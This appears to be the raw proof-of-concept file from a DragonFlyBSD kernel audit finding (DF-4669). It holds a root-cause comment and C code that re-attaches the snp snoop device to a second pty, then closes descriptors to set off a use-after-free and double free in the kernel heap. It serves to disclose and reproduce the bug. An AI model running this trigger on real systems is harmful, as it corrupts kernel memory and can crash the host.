⬢ DragonFlyBSD Kernel Audit
DF-4669 / snp_reattach.c
← back to finding ↓ download raw
/*
 * DF-4669: SNPSTTY re-attach poisons the old target tty; closing the
 * snp fd frees struct snoop while the old tty keeps t_sc pointing at
 * it; closing the old tty runs snplclose -> snp_down(freed) ->
 * double kfree / wild frees in the M_SNP heap.
 *
 * Root cause: sys/dev/misc/snp/snp.c:560-564 - the un-poison block in
 * SNPSTTY is guarded by `if (snp->snp_target == NULL)', but
 * snp_target/snp_tty are only ever set and cleared together (lines
 * 434-435 open, 473-474 detach, 570-571 attach).  On re-attach the
 * target is != NULL, so the old tty's TS_SNOOP/t_sc/t_line are never
 * restored.  snp_olddisc is simultaneously overwritten with the NEW
 * tty's discipline, so the old discipline is unrecoverable.
 *
 * Trigger requires /dev/snpN open privileges (root/wheel), but the
 * corruption is a double free of M_SNP heap chunks.
 */
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <libutil.h>
#include <sys/snoop.h>

int main(void)
{
	int mA, sA, mB, sB, snp;
	struct stat sb;
	dev_t d;

	if (openpty(&mA, &sA, NULL, NULL, NULL) ||
	    openpty(&mB, &sB, NULL, NULL, NULL)) {
		perror("openpty");
		exit(1);
	}
	snp = open("/dev/snp0", O_RDWR);
	if (snp < 0) {
		perror("/dev/snp0");
		exit(1);
	}

	fstat(sA, &sb);
	d = sb.st_rdev;
	if (ioctl(snp, SNPSTTY, &d) < 0) {
		perror("SNPSTTY A");
		exit(1);
	}
	printf("[+] snp attached to tty A (st_rdev %#x)\n", d);
	fflush(stdout);

	fstat(sB, &sb);
	d = sb.st_rdev;
	if (ioctl(snp, SNPSTTY, &d) < 0) {
		perror("SNPSTTY B");
		exit(1);
	}
	printf("[+] snp re-attached to tty B; tty A poisoned:"
	       " t_sc=snp, TS_SNOOP, t_line=snooplinedisc\n");
	fflush(stdout);

	close(snp);
	printf("[+] snp fd closed: struct snoop + snp_buf freed;"
	       " tty A still holds dangling t_sc\n");
	fflush(stdout);

	printf("[+] closing tty A -> snplclose -> snp_down(freed snp)"
	       " -> kfree(snp_buf) double free ...\n");
	fflush(stdout);
	close(sA);
	sleep(2);
	printf("[-] survived close(sA)?\n");
	fflush(stdout);
	close(mA);
	close(sB);
	close(mB);
	printf("[-] no panic observed\n");
	return 0;
}